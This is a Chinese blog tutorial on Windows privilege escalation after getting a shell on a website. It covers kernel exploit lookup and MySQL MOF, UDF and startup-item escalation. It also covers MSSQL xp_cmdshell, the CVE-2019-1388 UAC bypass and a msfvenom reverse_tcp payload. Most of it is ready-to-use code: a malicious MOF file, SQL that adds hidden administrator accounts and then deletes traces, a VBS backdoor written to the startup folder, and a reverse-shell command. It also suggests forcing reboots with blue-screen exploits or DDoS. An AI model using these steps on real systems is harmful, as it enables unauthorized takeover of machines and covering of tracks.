跳至主要內容

windows系统提权

卷卷原创2024年9月23日大约 6 分钟渗透测试渗透测试windows系统提权

windows提权分类

1.系统漏洞提权(Linux、Windows)内核提权
3.第三方软件/服务提权
2.数据库提权
4.系统配置错误提权

windows提权概述

提权，顾名思义就是提升权限，当我们getshell一个网站之后，大部分情况下我们的权限是非常低的,这时就需要利用提权，让原本的低权限（如只允许列目录）→高权限（拥有修改文件的能力）权限提升后，对接下来的渗透有很大帮助。
windows:

user-->System
user-->Administrator

Linux:
user-->Root

windows提权流程

获得目标机shll=>查看补丁记录=>寻找对应EXP=>使用Exp提权

1.windows系统漏洞提权

  1. 查看这台主机还有哪些漏洞没有修复

    方法一：在cmd中输入systeminfo查看补丁安装情况

    ​image​

    方法二：通过命令查询出哪些补丁没有安装

  2. 查找补丁对应的漏洞号 使用在线查询工具

    http://blog.neargle.com/win-powerup-exp-index/#

    http://tools.sbbbb.cn/tiquan/

    http://bypass.tidesec.com/exp/

  3. 查找对应提权exp

    可在搜索引擎查找

    github查找 github.com/SecWiki/windows-kernel-exploits

    windows中提权exp的格式为

    ​image​

  4. 配合msf进行提权

2.windows 数据库提权

mysql-mof提权步骤

  1. 在可写目录中上传mof文件

    nullevt.mof 文件

    #pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user zhang 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

  2. 把.mof脚本移动到指定的目录：c:/windows/system32/wbem/mof/目录下，该目录每5秒执行一次image​

  3. 执行 load file 及 into dumpfile 把文件导出到正确的位置

    select load_file('c:/phpstudy/www/nullevt.mof')into dumpfile'c:/windows/system32/wbem/mof/nullevt.mof';

  4. 执行成功后，验证mof文件中的cmd命令是否执行

    ​image​

  5. 同样的方法修改mof文件再重复上次的步骤，可以将用户添加到管理员组

‍

mysql-UDF提权
UDF提权原理

UDF(User Defined Function)用户自定义函数,支持用户自定义

通过添加新的函数，对mysqI服务器进行功能扩充，从而创建函数，将MYSQL账号转化为系统system权限

UDF提权是通过root权限导出udf.dll到系统目录下，可以通过udf.dll调用执行cmd

利用UDF提权条件

  1. Windows 2000、XP、2003

    1. MySQL数据库版本

  3. 3.账号具有对MySQL的插入和删除权限

  4. 4.可以将udf.d写入到相应目录的权限

    ​image​

MySQL-UDF提权步骤

  1. 收集必要信息

    select version(); select user(); select @@basedir, //获取数据库版本 //获取数据库用户 //获取数据库安装目录

​image​

  1. MySQL版本高于5.1，创建导出文件夹

    /lib/plugin目录本身是不存在的，可以利用NTFS ADS流来创建文件夹

    select 'xxx' into dumpfile 'MySQL目录\\lib::$INDEX ALLOCATION';
select 'xxx' into dumpfile 'MySQL目录\\lib\\plugin::$INDEX ALLOCATION';

    也可以利用webshell直接在mysql安装路径下创建piugin目录

  2. 导入 udf.dl 文件

    DLL文件的获取方法:

    在 sqlmap/data/udf/mysq!/ 目录下,

    在Windows目录中有32位和64位dll文件(MySQL的位数，文件夹中的dll文件是通过异或编码的，可以使用sqlmap/extra/cloak.py进行解密

    将dll文件上传到mysql的/Iib/plugin目录下

    ​image​

  3. 创建自定义函数

    create function sys_eval returns string soname 'udf.dll';  #创建自定义函数  需要创建.dll文件中存在的函数才可以
select sys_eval("net user youze1 123456 /add");   #创建用户
select sys_eval("net localgroup administrators youze1 /add"); #提升为管理员权限
drop function sys_eval;  #清除痕迹
delete from mysql.func where name="sys_eval";

​image​

mysql启动项提权
原理

将一段 VBS脚本导入到开机启动项中，如果管理员重启了服务器，那么就会自动调用该脚本，并执行其中的用户添加 及提权命令

利用条件:

  1. 上传到目录必须具备可读写的权限

  2. 调用的 cmd 也必须有足够的权限

  3. 重启服务器可以利用一些可导致服务器蓝屏的EXP，或者DDoS拒绝服务

步骤

  1. 如果可以直接上传到启动项目录就不需要使用数据库

    C:\Documents and Settings\All Users\「开始」菜单\程序\启动 目录存在可读写的权限

  2. 进入test数据库，并创建一个新的表:

    create table a(cmd text) // a表名，字段名cmd，text文本类型

  3. 在表中插入数据

    insert into a values("set wshshell=createobject(""wscript.shell"")"); 
insert into a values("a=wshshell.run(""cmd.exe /c net user icg 123.com /add"" 0)"); 
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators icg /add"",0)");

  4. 输出表为一个 VBS 的脚本文件

    select * from a into dumpfile "C:\Documents and Settings\Administrator\「开始」菜单\程序启动\1.vbs"

  5. 利用其他手段重启电脑

MSSQL xp_cmdshell提权

  1. 连接数据库之后

  2. 查看相干信息

    --查看当前版本:
select @@version 
--判断当前是否为sa:
select is_srvrolemember('sysadmin') 
--判断是否有public权限，可以爆破表:
select is_srvrolemember('public') 
--判断当前用户写文件、读文件的权限:
select is_srvrolemember('db_owner')

  3. 查看数据库中是否有 xp_cmdshell 扩展存储插件,返回值为 1则说明该数据库中有插件 MSSQL使用xp_cmdshell

    select count(*) from master.dbo.sysobjects where xtype='x'and name='xp cmdshell';

  4. 开启xp_cmdshell MSSQL使用xp_cmdshell

  5. 执行命令创建用户

    exec master.xp_cmdshell 'net user youze 123456 /add'       -- 添加用户ichungiu,密码123.com 
exec master.xp_cmdshell ' net localgroup administrators youze /add'       -- 添加ichunqiu到管理员组

3.windows bypass UAC提权

利用CVE-2019-1388实现bypass UAC

原理:

如果在运行一个可执行文件的时候我们触发了 UAC,在点击「展示证书发行者的详细信息」这个链接之后 可以看到证书里的 Issued by 字段,这个字段对应的值就是 OID。证书会解析 OID 的值,可能显示为超链接，但是 Windows 忘记禁用了 OID 处的超链接，这就给了我们提权的可能

步骤

  1. 查看是否打补丁 systeminfo

  2. 下载EXP:CVE-2019-1388/HHUPD.EXE 这里是开启http服务上传​

    image​

  3. 将exp下载到目标机中，并以管理员权限打开HHUPD.EXE,点击显示详细信息​

    image​

  4. 点击显示详细信息里的 "显示有关此发布者的证书的信息“

  5. 将弹出的网页"另存为”，弹出位置不可用窗口后点击确定

  6. 通过在保存网页的文件资源管理器的地址栏输入“C:\windows\system32\cmd.exe”打开cmd 这样才能继承浏览器的SYSTEM权限​

    image​

利用MSF的 bypassuac 模块
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.61.20 lport=6666 -f exe -o tests.exe  #lhostiplport

​image​

​image​

​image​

​image​

​image​

​image​

​image​

通过一系列的前期渗透测试，已经获得了目标机器的meterpreter shell,当前权限为普通用户权限，可以尝试获取系统的System权限。

​MSF-bypassuac​

4.windows错误系统配置提权

...

‍

时间就像海绵里的水，挤一挤总会有的！
Copyright © 2023-present Juan